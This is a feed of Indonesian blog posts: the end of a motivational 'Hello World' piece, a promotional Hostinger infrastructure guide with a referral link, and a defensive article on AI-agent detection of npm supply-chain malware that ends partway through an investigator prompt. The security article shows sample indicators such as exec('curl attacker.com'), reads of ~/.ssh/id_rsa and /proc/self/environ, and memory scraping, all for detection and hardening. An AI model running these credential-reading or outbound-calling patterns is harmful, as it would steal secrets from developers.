<p>Daripada berkata:</p>
<blockquote>
<p>"Ini cuma Hello World."</p>
</blockquote>
<p>Cobalah berkata:</p>
<blockquote>
<p><strong>"Hari ini saya sedang membangun pondasi yang suatu saat akan menopang sesuatu yang jauh lebih besar."</strong></p>
</blockquote>
<p>Perubahan cara berpikir ini sangat penting.</p>
<p>Karena orang yang fokus pada hasil instan akan mudah menyerah.</p>
<p>Sedangkan orang yang fokus pada pertumbuhan akan terus melangkah.</p>
<p>Dan dalam jangka panjang, yang terus melangkah hampir selalu mengalahkan yang hanya banyak berharap.</p>
<hr />
<h2>🤲 Perspektif Seorang Muslim tentang Ikhtiar</h2>
<p>Dalam Islam, kita diajarkan bahwa setiap ikhtiar yang baik memiliki nilai di sisi Allah.</p>
<p>Allah tidak memerintahkan manusia untuk langsung berhasil.</p>
<p>Allah memerintahkan manusia untuk berusaha.</p>
<p>Hasil adalah wilayah Allah.</p>
<p>Usaha adalah wilayah manusia.</p>
<p>Ketika seseorang belajar satu konsep baru hari ini, memahami satu error hari ini, atau berhasil menjalankan satu program sederhana hari ini, semua itu adalah bentuk ikhtiar.</p>
<p>Dan ikhtiar yang benar tidak pernah sia-sia.</p>
<p>Mungkin hasilnya belum terlihat sekarang.</p>
<p>Namun setiap langkah kecil sedang membangun masa depan yang belum bisa kita lihat hari ini.</p>
<hr />
<h2>🌟 Anda Belum Menjadi Ahli, Tetapi Anda Sudah Berhenti Menjadi Penonton</h2>
<p>Mungkin saat ini Anda belum menjadi software engineer.</p>
<p>Belum menjadi AI engineer.</p>
<p>Belum membangun startup.</p>
<p>Belum mendapatkan pekerjaan impian.</p>
<p>Tidak masalah.</p>
<p>Karena ada satu hal yang jauh lebih penting.</p>
<p><strong>Anda sudah memulai.</strong></p>
<p>Dan banyak orang tidak pernah sampai pada tahap itu.</p>
<p>Jadi ketika layar Anda menampilkan tulisan:</p>
<pre><code class="language-javascript">Hello World
</code></pre>
<p>Jangan hanya melihat dua kata tersebut.</p>
<p>Lihatlah makna di baliknya.</p>
<p>Itu adalah bukti bahwa Anda telah mengambil langkah pertama.</p>
<p>Langkah yang sederhana.</p>
<p>Langkah yang kecil.</p>
<p>Namun bisa menjadi awal dari perjalanan yang suatu hari mengubah hidup Anda.</p>
<p>Karena setiap aplikasi besar, setiap startup sukses, setiap teknologi hebat, dan setiap programmer berpengalaman pernah memulai dari tempat yang sama:</p>
<blockquote>
<p>🌱 <strong>Sebuah Hello World.</strong></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Kemandirian Teknologi Dimulai dari Server Pertama Anda]]></title><description><![CDATA[Banyak developer Indonesia menghabiskan waktu bertahun-tahun mempelajari:

JavaScript

TypeScript

React

Next.js

Laravel

Python

AI dan LLM


Namun ketika ditanya:

"Bagaimana aplikasi Anda bisa di]]></description><link>https://tech.finlup.id/kemandirian-teknologi-dimulai-dari-server-pertama-anda</link><guid isPermaLink="true">https://tech.finlup.id/kemandirian-teknologi-dimulai-dari-server-pertama-anda</guid><category><![CDATA[niagahoster]]></category><category><![CDATA[hostinger]]></category><category><![CDATA[server]]></category><category><![CDATA[vps]]></category><category><![CDATA[domain]]></category><category><![CDATA[kemandirianTeknologi]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Sat, 30 May 2026 12:40:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/dd651530-67db-4a9f-ba9e-f721333b78f0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Banyak developer Indonesia menghabiskan waktu bertahun-tahun mempelajari:</p>
<ul>
<li><p>JavaScript</p>
</li>
<li><p>TypeScript</p>
</li>
<li><p>React</p>
</li>
<li><p>Next.js</p>
</li>
<li><p>Laravel</p>
</li>
<li><p>Python</p>
</li>
<li><p>AI dan LLM</p>
</li>
</ul>
<p>Namun ketika ditanya:</p>
<blockquote>
<p>"Bagaimana aplikasi Anda bisa diakses oleh seluruh dunia?"</p>
</blockquote>
<p>Tidak sedikit yang masih bingung menjelaskan prosesnya.</p>
<p>Mereka bisa membuat aplikasi yang luar biasa, tetapi belum memahami bagaimana aplikasi tersebut berjalan di internet.</p>
<p>Padahal kemampuan memahami infrastruktur adalah salah satu pembeda terbesar antara programmer dan software engineer.</p>
<h2>Ketika Coding Saja Tidak Lagi Cukup</h2>
<p>Saat masih belajar, semuanya terlihat mudah.</p>
<p>Jalankan:</p>
<pre><code class="language-bash">npm run dev
</code></pre>
<p>Aplikasi berjalan.</p>
<p>Database lokal aktif.</p>
<p>Semua fitur berfungsi.</p>
<p>Tetapi dunia nyata berbeda.</p>
<p>Ketika aplikasi harus digunakan oleh pengguna sungguhan, muncul pertanyaan baru:</p>
<ul>
<li><p>Bagaimana membeli domain?</p>
</li>
<li><p>Bagaimana DNS bekerja?</p>
</li>
<li><p>Bagaimana SSL bekerja?</p>
</li>
<li><p>Bagaimana database production dikelola?</p>
</li>
<li><p>Bagaimana aplikasi tetap hidup 24 jam?</p>
</li>
<li><p>Bagaimana menangani backup?</p>
</li>
<li><p>Bagaimana memantau server?</p>
</li>
</ul>
<p>Di sinilah banyak developer mulai menyadari bahwa coding hanyalah sebagian dari perjalanan.</p>
<h2>Bahaya Ketergantungan pada Platform Orang Lain</h2>
<p>Saat ini banyak developer hanya mengandalkan:</p>
<ul>
<li><p>Repository GitHub</p>
</li>
<li><p>Hosting gratis</p>
</li>
<li><p>Platform serverless gratis</p>
</li>
<li><p>Marketplace aplikasi pihak ketiga</p>
</li>
</ul>
<p>Memang cepat untuk memulai.</p>
<p>Namun ada konsekuensi yang sering terlupakan:</p>
<ul>
<li><p>Batas resource dapat berubah sewaktu-waktu.</p>
</li>
<li><p>Harga dapat berubah.</p>
</li>
<li><p>Fitur dapat dibatasi.</p>
</li>
<li><p>Akun dapat ditangguhkan.</p>
</li>
</ul>
<p>Ketika seluruh bisnis bergantung pada platform orang lain, Anda tidak benar-benar memiliki kendali penuh atas produk yang Anda bangun.</p>
<p>Karena itu, setiap developer sebaiknya memahami bagaimana mengelola aset digital miliknya sendiri.</p>
<h2>Mengapa Memiliki Server Sendiri Penting?</h2>
<p>Memiliki server sendiri bukan berarti harus langsung mengelola klaster Kubernetes atau puluhan VPS.</p>
<p>Yang penting adalah memahami fondasinya.</p>
<p>Dengan memiliki hosting atau server sendiri, Anda mulai memahami:</p>
<h3>1. Cara Kerja Domain</h3>
<p>Anda belajar bahwa internet tidak bekerja secara ajaib.</p>
<p>Ada proses:</p>
<ul>
<li><p>Registrasi domain</p>
</li>
<li><p>DNS Resolution</p>
</li>
<li><p>Routing</p>
</li>
<li><p>SSL Certificate</p>
</li>
</ul>
<p>Semua ini adalah bagian penting dari dunia production.</p>
<h3>2. Cara Kerja Deployment</h3>
<p>Deployment adalah momen ketika kode berubah menjadi produk.</p>
<p>Di sinilah developer mulai memahami:</p>
<ul>
<li><p>Build process</p>
</li>
<li><p>Environment variables</p>
</li>
<li><p>Storage</p>
</li>
<li><p>Database connection</p>
</li>
<li><p>Monitoring</p>
</li>
</ul>
<h3>3. Cara Kerja Infrastruktur</h3>
<p>Ketika memiliki hosting sendiri, Anda mulai mengenal:</p>
<ul>
<li><p>CPU</p>
</li>
<li><p>RAM</p>
</li>
<li><p>Storage</p>
</li>
<li><p>Bandwidth</p>
</li>
<li><p>Resource limits</p>
</li>
</ul>
<p>Pemahaman ini akan sangat membantu ketika nanti berpindah ke VPS, cloud, atau arsitektur yang lebih kompleks.</p>
<h2>Mengapa Banyak Developer Memulai dengan Hostinger?</h2>
<p>Untuk belajar infrastruktur, sebenarnya Anda bisa langsung menggunakan AWS, Google Cloud, atau DigitalOcean.</p>
<p>Namun bagi banyak developer pemula, kurva belajarnya cukup tinggi.</p>
<p>Hostinger menjadi menarik karena menawarkan jalur belajar yang lebih bertahap.</p>
<p>Beberapa alasan yang sering disebut dalam berbagai review independen:</p>
<h3>hPanel yang Mudah Dipahami</h3>
<p>Hostinger menggunakan panel manajemen milik sendiri bernama hPanel yang dirancang untuk mengelola domain, website, email, dan layanan hosting dalam satu tempat. Ini membuat proses belajar deployment lebih mudah dibanding harus mengelola server Linux mentah sejak awal.</p>
<h3>Performa Modern</h3>
<p>Hostinger menggunakan LiteSpeed Web Server, LiteSpeed Cache, serta NVMe SSD pada paket tertentu.</p>
<p>Dalam beberapa pengujian independen, kombinasi tersebut menghasilkan waktu muat yang cepat dan performa yang kompetitif dibanding banyak penyedia shared hosting lain di kelas harga yang sama.</p>
<h3>Uptime yang Stabil</h3>
<p>Berbagai pengujian publik menunjukkan uptime Hostinger berada di kisaran 99,9% atau lebih, yang cukup baik untuk kebutuhan website bisnis, portfolio, dan aplikasi skala kecil hingga menengah.</p>
<h3>Jalur Upgrade yang Jelas</h3>
<p>Banyak developer memulai dari:</p>
<ul>
<li>Shared Hosting</li>
</ul>
<p>Kemudian berkembang ke:</p>
<ul>
<li><p>Cloud Hosting</p>
</li>
<li><p>VPS</p>
</li>
</ul>
<p>Tanpa harus berpindah provider ketika kebutuhan meningkat.</p>
<h3>Mulai Mendukung Node.js</h3>
<p>Hostinger juga mulai menyediakan dukungan yang lebih baik untuk aplikasi Node.js dengan integrasi deployment modern dan koneksi ke GitHub, sesuatu yang semakin relevan bagi developer JavaScript masa kini.</p>
<h2>Tetapi Shared Hosting Bukan Solusi untuk Semua Hal</h2>
<p>Sebagai developer, penting untuk memahami keterbatasannya.</p>
<p>Shared hosting tetap memiliki:</p>
<ul>
<li><p>Batas CPU</p>
</li>
<li><p>Batas RAM</p>
</li>
<li><p>Batas I/O</p>
</li>
<li><p>Batas concurrent process</p>
</li>
</ul>
<p>Untuk kebutuhan seperti:</p>
<ul>
<li><p>AI Agent skala besar</p>
</li>
<li><p>Kubernetes</p>
</li>
<li><p>Kafka</p>
</li>
<li><p>RabbitMQ</p>
</li>
<li><p>LLM lokal</p>
</li>
<li><p>High Traffic SaaS</p>
</li>
</ul>
<p>VPS atau cloud provider khusus biasanya lebih sesuai. Selain itu, secara umum shared hosting memang memiliki keterbatasan isolasi dan resource dibanding lingkungan server yang sepenuhnya dedicated.</p>
<h2>Roadmap Kemandirian Teknologi</h2>
<p>Saya biasanya menyarankan roadmap berikut:</p>
<h3>Level 1</h3>
<p>Belajar:</p>
<ul>
<li><p>Domain</p>
</li>
<li><p>DNS</p>
</li>
<li><p>SSL</p>
</li>
<li><p>Hosting</p>
</li>
</ul>
<h3>Level 2</h3>
<p>Belajar:</p>
<ul>
<li><p>Database production</p>
</li>
<li><p>Deployment</p>
</li>
<li><p>Monitoring</p>
</li>
</ul>
<h3>Level 3</h3>
<p>Belajar:</p>
<ul>
<li><p>VPS</p>
</li>
<li><p>Nginx</p>
</li>
<li><p>Reverse Proxy</p>
</li>
<li><p>Docker</p>
</li>
</ul>
<h3>Level 4</h3>
<p>Belajar:</p>
<ul>
<li><p>CI/CD</p>
</li>
<li><p>Multi-server</p>
</li>
<li><p>Cloud Architecture</p>
</li>
<li><p>High Availability</p>
</li>
</ul>
<p>Banyak developer langsung ingin lompat ke Level 4, padahal belum pernah membeli domain atau melakukan deployment production pertama.</p>
<h2>Penutup</h2>
<p>Kemandirian teknologi tidak dimulai dari Kubernetes.</p>
<p>Tidak dimulai dari AWS.</p>
<p>Tidak dimulai dari arsitektur microservices.</p>
<p>Kemandirian teknologi dimulai ketika Anda memahami bagaimana aplikasi Anda berjalan di internet.</p>
<p>Server pertama, domain pertama, dan deployment pertama sering kali menjadi langkah yang mengubah cara pandang seorang developer terhadap dunia software engineering.</p>
<p>Jika Anda ingin mulai membangun aset digital sendiri dan memahami infrastruktur secara bertahap, Anda bisa memulai dengan Hostinger melalui link referral berikut:</p>
<p>👉 <a href="https://www.hostinger.com?REFERRALCODE=6W9ARISKASVL">https://www.hostinger.com?REFERRALCODE=6W9ARISKASVL</a></p>
<p>Pengguna baru yang memenuhi syarat program referral Hostinger juga mendapatkan diskon 20% pada pembelian yang memenuhi ketentuan program.</p>
]]></content:encoded></item><item><title><![CDATA[Membangun AI Agent untuk Mendeteksi Supply-Chain Malware npm: Studi Kasus Mini Shai-Hulud dan TanStack Attack]]></title><description><![CDATA[Era modern software engineering sangat bergantung pada:

open source,

package manager,

automation,

CI/CD,

dan AI coding agent.


Kini developer mulai menggunakan agent AI seperti:

OpenCode,

Anti]]></description><link>https://tech.finlup.id/membangun-ai-agent-untuk-mendeteksi-supply-chain-malware-npm-studi-kasus-mini-shai-hulud-dan-tanstack-attack</link><guid isPermaLink="true">https://tech.finlup.id/membangun-ai-agent-untuk-mendeteksi-supply-chain-malware-npm-studi-kasus-mini-shai-hulud-dan-tanstack-attack</guid><category><![CDATA[Mini Shai-Hulud]]></category><category><![CDATA[TanStack Attack]]></category><category><![CDATA[Supply-Chain Malware]]></category><category><![CDATA[ai-agent]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Fri, 29 May 2026 22:48:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/ef488168-44d6-47d6-af25-b2c088e92fda.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Era modern software engineering sangat bergantung pada:</p>
<ul>
<li><p>open source,</p>
</li>
<li><p>package manager,</p>
</li>
<li><p>automation,</p>
</li>
<li><p>CI/CD,</p>
</li>
<li><p>dan AI coding agent.</p>
</li>
</ul>
<p>Kini developer mulai menggunakan agent AI seperti:</p>
<ul>
<li><p>OpenCode,</p>
</li>
<li><p>Antigravity,</p>
</li>
<li><p>Claude Code,</p>
</li>
<li><p>Cursor Agent,</p>
</li>
<li><p>Aider,</p>
</li>
<li><p>Devin,</p>
</li>
<li><p>SWE-agent,</p>
</li>
<li><p>hingga agent internal perusahaan.</p>
</li>
</ul>
<p>Agent-agent ini memiliki akses besar:</p>
<ul>
<li><p>membaca source code,</p>
</li>
<li><p>menjalankan terminal,</p>
</li>
<li><p>install dependency,</p>
</li>
<li><p>mengakses environment variable,</p>
</li>
<li><p>bahkan menjalankan deployment.</p>
</li>
</ul>
<p>Masalahnya:</p>
<blockquote>
<p>jika dependency berbahaya masuk ke project, AI agent juga bisa ikut menjalankan malware tersebut.</p>
</blockquote>
<p>Kasus <strong>Mini Shai-Hulud</strong> menjadi contoh nyata bagaimana supply-chain attack modern tidak lagi hanya menyerang aplikasi production, tetapi langsung menarget:</p>
<ul>
<li><p>developer environment,</p>
</li>
<li><p>CI/CD pipeline,</p>
</li>
<li><p>dan automation system.</p>
</li>
</ul>
<p>Artikel ini membahas:</p>
<ol>
<li><p>bagaimana malware tersebut bekerja,</p>
</li>
<li><p>bagaimana AI agent dapat mendeteksinya,</p>
</li>
<li><p>bagaimana membangun workflow investigasi otomatis,</p>
</li>
<li><p>serta bagaimana recovery dan hardening dilakukan.</p>
</li>
</ol>
<hr />
<h1>Apa Itu Mini Shai-Hulud?</h1>
<p>Mini Shai-Hulud adalah kampanye supply-chain malware yang menyerang ekosistem:</p>
<ul>
<li><p>npm,</p>
</li>
<li><p>PyPI,</p>
</li>
<li><p>GitHub Actions,</p>
</li>
<li><p>dan cloud credential developer.</p>
</li>
</ul>
<p>Serangan ini menjadi sangat serius karena attacker berhasil:</p>
<ul>
<li><p>menyusup ke package populer,</p>
</li>
<li><p>mencuri credential,</p>
</li>
<li><p>memanfaatkan GitHub Actions,</p>
</li>
<li><p>menggunakan trusted publishing,</p>
</li>
<li><p>serta menyebarkan malware secara otomatis.</p>
</li>
</ul>
<p>Beberapa package <code>@tanstack/*</code> sempat dipublikasikan dalam versi berbahaya.</p>
<p>Menurut advisory GitHub, attacker berhasil mempublikasikan puluhan malicious package version hanya dalam hitungan menit.</p>
<hr />
<h1>Mengapa Ini Berbahaya untuk AI Agent?</h1>
<p>AI coding agent modern biasanya memiliki:</p>
<ul>
<li><p>akses terminal,</p>
</li>
<li><p>akses filesystem,</p>
</li>
<li><p>akses GitHub token,</p>
</li>
<li><p>akses SSH key,</p>
</li>
<li><p>akses cloud credential,</p>
</li>
<li><p>akses CI/CD.</p>
</li>
</ul>
<p>Jika agent menjalankan:</p>
<pre><code class="language-bash">npm install
</code></pre>
<p>dan dependency ternyata malicious, maka malware dapat:</p>
<ul>
<li><p>membaca environment variable,</p>
</li>
<li><p>mengambil token,</p>
</li>
<li><p>mengakses memory process,</p>
</li>
<li><p>mengirim credential ke attacker.</p>
</li>
</ul>
<p>Artinya:</p>
<blockquote>
<p>AI agent dapat menjadi amplifier dari supply-chain attack.</p>
</blockquote>
<hr />
<h1>Cara Kerja Malware Supply-Chain npm</h1>
<h2>1. Package Berbahaya Diinstall</h2>
<p>Developer atau AI agent menjalankan:</p>
<pre><code class="language-bash">npm install
</code></pre>
<p>atau:</p>
<pre><code class="language-bash">pnpm install
</code></pre>
<hr />
<h2>2. Lifecycle Script Dieksekusi</h2>
<p>npm memiliki lifecycle script seperti:</p>
<ul>
<li><p><code>preinstall</code></p>
</li>
<li><p><code>postinstall</code></p>
</li>
<li><p><code>prepare</code></p>
</li>
</ul>
<p>Contoh:</p>
<pre><code class="language-json">{
  "scripts": {
    "postinstall": "node router_init.js"
  }
}
</code></pre>
<p>Script ini otomatis berjalan saat install.</p>
<hr />
<h1>3. Malware Mengambil Credential</h1>
<p>Payload biasanya mencoba membaca:</p>
<ul>
<li><p><code>process.env</code></p>
</li>
<li><p><code>~/.ssh</code></p>
</li>
<li><p><code>~/.aws</code></p>
</li>
<li><p><code>~/.npmrc</code></p>
</li>
<li><p>GitHub token</p>
</li>
<li><p>cloud credential</p>
</li>
</ul>
<p>Beberapa laporan juga menyebut malware mencoba membaca:</p>
<pre><code class="language-txt">/proc/&lt;pid&gt;/mem
</code></pre>
<p>untuk mengambil secret dari process Linux lain.</p>
<hr />
<h1>4. Data Dikirim ke Server Attacker</h1>
<p>Malware kemudian melakukan:</p>
<ul>
<li><p>HTTP POST,</p>
</li>
<li><p>webhook exfiltration,</p>
</li>
<li><p>upload credential,</p>
</li>
<li><p>atau DNS exfiltration.</p>
</li>
</ul>
<hr />
<h1>5. Worm Menyebar</h1>
<p>Jika token maintainer berhasil dicuri:</p>
<ul>
<li><p>attacker publish malware baru,</p>
</li>
<li><p>compromise package lain,</p>
</li>
<li><p>lalu menyebar lebih luas.</p>
</li>
</ul>
<hr />
<h1>Bagaimana AI Agent Bisa Mendeteksi Malware Ini?</h1>
<p>AI agent tidak boleh hanya:</p>
<ul>
<li><p>menjalankan install,</p>
</li>
<li><p>lalu percaya dependency aman.</p>
</li>
</ul>
<p>Agent harus memiliki:</p>
<h1>supply-chain awareness.</h1>
<hr />
<h1>Strategi Deteksi untuk AI Agent</h1>
<h2>1. Audit Dependency</h2>
<p>Agent harus:</p>
<ul>
<li><p>membaca <code>package.json</code></p>
</li>
<li><p>membaca lockfile</p>
</li>
<li><p>memeriksa dependency transitif</p>
</li>
<li><p>membandingkan versi dengan advisory publik</p>
</li>
</ul>
<p>Contoh command:</p>
<pre><code class="language-bash">npm ls @tanstack/react-router
</code></pre>
<p>atau:</p>
<pre><code class="language-bash">pnpm why @tanstack/react-router
</code></pre>
<hr />
<h1>2. Scan Lifecycle Script</h1>
<p>Agent harus mencari:</p>
<pre><code class="language-bash">grep -R "\"preinstall\"" node_modules
grep -R "\"postinstall\"" node_modules
grep -R "\"prepare\"" node_modules
</code></pre>
<p>Kemudian analisa:</p>
<ul>
<li><p>apakah ada obfuscation,</p>
</li>
<li><p>apakah ada <code>eval</code>,</p>
</li>
<li><p>apakah ada <code>child_process</code>,</p>
</li>
<li><p>apakah ada network request,</p>
</li>
<li><p>apakah ada credential access.</p>
</li>
</ul>
<hr />
<h1>3. Deteksi Credential Harvesting</h1>
<p>AI agent harus mendeteksi pola seperti:</p>
<pre><code class="language-js">process.env
</code></pre>
<p>atau:</p>
<pre><code class="language-js">fs.readFileSync("/home/user/.ssh/id_rsa")
</code></pre>
<p>atau:</p>
<pre><code class="language-js">fs.readFileSync("/proc/self/environ")
</code></pre>
<hr />
<h1>4. Deteksi Network Exfiltration</h1>
<p>Cari:</p>
<ul>
<li><p><code>fetch</code></p>
</li>
<li><p><code>axios</code></p>
</li>
<li><p><code>http.request</code></p>
</li>
<li><p><code>curl</code></p>
</li>
<li><p><code>wget</code></p>
</li>
</ul>
<p>yang mengirim data sensitif keluar.</p>
<hr />
<h1>5. Audit GitHub Actions</h1>
<p>Agent juga harus memeriksa:</p>
<pre><code class="language-txt">.github/workflows
</code></pre>
<p>karena supply-chain attack modern sering menyerang CI/CD.</p>
<p>Fokus pada:</p>
<ul>
<li><p><code>pull_request_target</code></p>
</li>
<li><p>dynamic script execution</p>
</li>
<li><p>untrusted artifact</p>
</li>
<li><p>cache poisoning</p>
</li>
<li><p>OIDC misuse</p>
</li>
</ul>
<hr />
<h1>Arsitektur AI Security Agent</h1>
<p>AI agent ideal memiliki pipeline seperti ini:</p>
<pre><code class="language-txt">Source Code
    ↓
Dependency Analyzer
    ↓
Lifecycle Script Scanner
    ↓
Behavioral Analyzer
    ↓
Credential Access Detector
    ↓
Network Exfiltration Detector
    ↓
Risk Scoring Engine
    ↓
Recovery Recommendation
</code></pre>
<hr />
<h1>Pendekatan yang Lebih Benar: Behavioral Analysis</h1>
<p>Kesalahan umum:</p>
<ul>
<li><p>terlalu fokus IOC statis,</p>
</li>
<li><p>terlalu fokus hash,</p>
</li>
<li><p>terlalu fokus nama file tertentu.</p>
</li>
</ul>
<p>Padahal attacker bisa mengganti:</p>
<ul>
<li><p>nama file,</p>
</li>
<li><p>domain,</p>
</li>
<li><p>hash,</p>
</li>
<li><p>payload.</p>
</li>
</ul>
<p>Yang lebih penting:</p>
<h1>perilaku malware.</h1>
<hr />
<h1>Pola Perilaku yang Harus Dideteksi</h1>
<h2>Suspicious Lifecycle</h2>
<pre><code class="language-json">"postinstall": "node install.js"
</code></pre>
<hr />
<h2>Environment Harvesting</h2>
<pre><code class="language-js">console.log(process.env)
</code></pre>
<hr />
<h2>Shell Execution</h2>
<pre><code class="language-js">exec("curl attacker.com")
</code></pre>
<hr />
<h2>SSH Key Access</h2>
<pre><code class="language-js">fs.readFileSync("~/.ssh/id_rsa")
</code></pre>
<hr />
<h2>Child Process Abuse</h2>
<pre><code class="language-js">require("child_process")
</code></pre>
<hr />
<h2>Memory Scraping</h2>
<pre><code class="language-txt">/proc/&lt;pid&gt;/mem
</code></pre>
<hr />
<h1>Recovery Workflow untuk AI Agent</h1>
<p>Jika compromise terdeteksi:</p>
<h2>1. Stop Automation</h2>
<p>Hentikan:</p>
<ul>
<li><p>CI/CD,</p>
</li>
<li><p>deployment,</p>
</li>
<li><p>auto publish.</p>
</li>
</ul>
<hr />
<h2>2. Rotate Credential</h2>
<p>Agent harus merekomendasikan rotation:</p>
<ul>
<li><p>GitHub token</p>
</li>
<li><p>npm token</p>
</li>
<li><p>AWS credential</p>
</li>
<li><p>SSH key</p>
</li>
<li><p>database password</p>
</li>
</ul>
<hr />
<h2>3. Bersihkan Dependency</h2>
<pre><code class="language-bash">rm -rf node_modules
rm package-lock.json
npm cache clean --force
npm install
</code></pre>
<hr />
<h2>4. Audit Repository</h2>
<p>Periksa:</p>
<ul>
<li><p>workflow baru,</p>
</li>
<li><p>commit asing,</p>
</li>
<li><p>publish activity,</p>
</li>
<li><p>suspicious automation.</p>
</li>
</ul>
<hr />
<h2>5. Audit Cloud Activity</h2>
<p>Periksa:</p>
<ul>
<li><p>login asing,</p>
</li>
<li><p>deployment mencurigakan,</p>
</li>
<li><p>secret access,</p>
</li>
<li><p>instance baru.</p>
</li>
</ul>
<hr />
<h1>Hardening untuk AI Coding Agent</h1>
<h2>1. Jangan Jalankan Install Secara Blind</h2>
<p>Agent harus:</p>
<ul>
<li><p>scan dependency dulu,</p>
</li>
<li><p>baru install.</p>
</li>
</ul>
<hr />
<h1>2. Gunakan Sandbox</h1>
<p>Agent sebaiknya berjalan di:</p>
<ul>
<li><p>container isolated,</p>
</li>
<li><p>ephemeral VM,</p>
</li>
<li><p>restricted filesystem.</p>
</li>
</ul>
<hr />
<h1>3. Minimal Permission</h1>
<p>Jangan berikan:</p>
<ul>
<li><p>full AWS admin,</p>
</li>
<li><p>unrestricted SSH,</p>
</li>
<li><p>persistent token.</p>
</li>
</ul>
<hr />
<h1>4. Gunakan Read-Only Token</h1>
<p>Jika memungkinkan:</p>
<ul>
<li><p>gunakan scoped credential,</p>
</li>
<li><p>short-lived token,</p>
</li>
<li><p>ephemeral session.</p>
</li>
</ul>
<hr />
<h1>5. Disable Dangerous Lifecycle Script</h1>
<p>Jika memungkinkan:</p>
<pre><code class="language-bash">npm install --ignore-scripts
</code></pre>
<p>lalu audit manual sebelum menjalankan script.</p>
<hr />
<h1>Mengapa Ini Penting di Era AI?</h1>
<p>Semakin banyak developer menggunakan AI agent untuk:</p>
<ul>
<li><p>coding,</p>
</li>
<li><p>deployment,</p>
</li>
<li><p>automation,</p>
</li>
<li><p>DevOps.</p>
</li>
</ul>
<p>Jika AI agent tidak memahami supply-chain security:</p>
<ul>
<li><p>malware bisa menyebar jauh lebih cepat,</p>
</li>
<li><p>credential perusahaan bisa bocor,</p>
</li>
<li><p>CI/CD bisa dibajak otomatis.</p>
</li>
</ul>
<p>Karena itu AI coding agent modern harus memiliki:</p>
<h1>security reasoning capability.</h1>
<p>Bukan sekadar autocomplete code.</p>
<hr />
<h1>Kesimpulan</h1>
<p>Kasus Mini Shai-Hulud menunjukkan bahwa:</p>
<ul>
<li><p>supply-chain attack modern semakin kompleks,</p>
</li>
<li><p>trusted package tidak selalu aman,</p>
</li>
<li><p>CI/CD kini menjadi target utama,</p>
</li>
<li><p>dan AI coding agent dapat menjadi target berikutnya.</p>
</li>
</ul>
<p>AI agent masa depan harus mampu:</p>
<ul>
<li><p>mengaudit dependency,</p>
</li>
<li><p>mendeteksi perilaku malware,</p>
</li>
<li><p>memahami lifecycle script,</p>
</li>
<li><p>menganalisa credential access,</p>
</li>
<li><p>serta melakukan recovery dengan aman.</p>
</li>
</ul>
<p>Karena di era automation dan AI, satu dependency berbahaya bisa mengkompromi:</p>
<ul>
<li><p>developer,</p>
</li>
<li><p>cloud,</p>
</li>
<li><p>pipeline,</p>
</li>
<li><p>hingga seluruh rantai distribusi software.</p>
</li>
</ul>
<hr />
<h1>Referensi Resmi dan Analisis Teknis</h1>
<h2>Advisory Resmi</h2>
<p><a href="https://github.com/advisories/GHSA-g7cv-rxg3-hmpx?utm_source=chatgpt.com">GitHub Advisory GHSA-g7cv-rxg3-hmpx</a></p>
<hr />
<h1>Analisis Teknis</h1>
<p><a href="https://snyk.io/blog/tanstack-npm-packages-compromised/?utm_source=chatgpt.com">Snyk Analysis</a></p>
<p><a href="https://socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack?utm_source=chatgpt.com">Socket.dev Analysis</a></p>
<p><a href="https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem?utm_source=chatgpt.com">StepSecurity Research</a></p>
<p><a href="https://semgrep.dev/blog/2026/tanstack-router-packages-hit-by-coordinated-supply-chain-attack?utm_source=chatgpt.com">Semgrep Supply Chain Analysis</a></p>
<hr />
<h1>Liputan Security</h1>
<p><a href="https://www.techradar.com/pro/security/openai-confirms-security-breach-in-tanstack-supply-chain-attack-but-says-no-user-data-was-affected?utm_source=chatgpt.com">TechRadar OpenAI Report</a></p>
<p><a href="https://www.tomshardware.com/tech-industry/cyber-security/compromised-mistral-ai-and-tanstack-packages-may-have-exposed-github-cloud-and-ci-cd-credentials-in-mini-shai-hulud-malware-infection-supply-chain-campaign-spreads-across-npm-and-ai-developer-ecosystems-like-wildfire?utm_source=chatgpt.com">Tom's Hardware Report</a></p>
<p>Contoh Prompt untuk Agent AI</p>
<pre><code class="language-markdown"># ROLE

Kamu adalah AI Security Incident Responder dan Supply-Chain Security Auditor.

Fokus utama:
- mendeteksi compromise dependency npm/pnpm/yarn
- menganalisa kemungkinan supply-chain attack
- mendeteksi credential theft
- memeriksa lifecycle script berbahaya
- menganalisa GitHub Actions compromise
- membantu recovery dengan aman

Jangan hanya memberi teori.
Lakukan investigasi teknis step-by-step.

Prioritas:
1. Deteksi compromise
2. Identifikasi IOC
3. Analisa tingkat risiko
4. Mitigasi
5. Recovery
6. Hardening

---

# KASUS YANG DIANALISA

Investigasi kemungkinan compromise terkait:
- TanStack npm supply-chain attack
- Mini Shai-Hulud worm
- lifecycle script malware
- credential exfiltration
- GitHub Actions compromise
- OIDC token theft
- npm package compromise

---

# TUGAS

Lakukan investigasi menyeluruh terhadap project saat ini.

Fokus pemeriksaan:

## 1. Dependency Audit

Periksa:
- package.json
- package-lock.json
- pnpm-lock.yaml
- yarn.lock
- node_modules

Cari:
- package @tanstack/*
- versi mencurigakan
- dependency transitif berbahaya
- package unpublished/republished
- dependency anomali

Tampilkan:
- package
- versi
- dependency path
- tingkat risiko

---

## 2. Lifecycle Script Audit

Cari:
- preinstall
- postinstall
- prepare

Deteksi:
- obfuscated JavaScript
- eval()
- child_process
- curl/wget
- fetch remote payload
- process.env harvesting
- credential access
- filesystem traversal
- suspicious shell execution

Prioritaskan file:
- router_init.js
- init.js
- install.js
- prepare.js

Tampilkan:
- lokasi file
- isi script berbahaya
- severity
- alasan mencurigakan

---

## 3. Credential Theft Detection

Analisa apakah ada script yang mencoba membaca:
- process.env
- ~/.ssh
- ~/.aws
- ~/.npmrc
- ~/.git-credentials
- ~/.config
- /proc/&lt;pid&gt;/mem

Cari:
- environment dumping
- token harvesting
- memory scraping
- SSH key access
- AWS credential access
- GitHub token access

---

## 4. Network Exfiltration Detection

Cari indikasi:
- HTTP POST mencurigakan
- outbound request
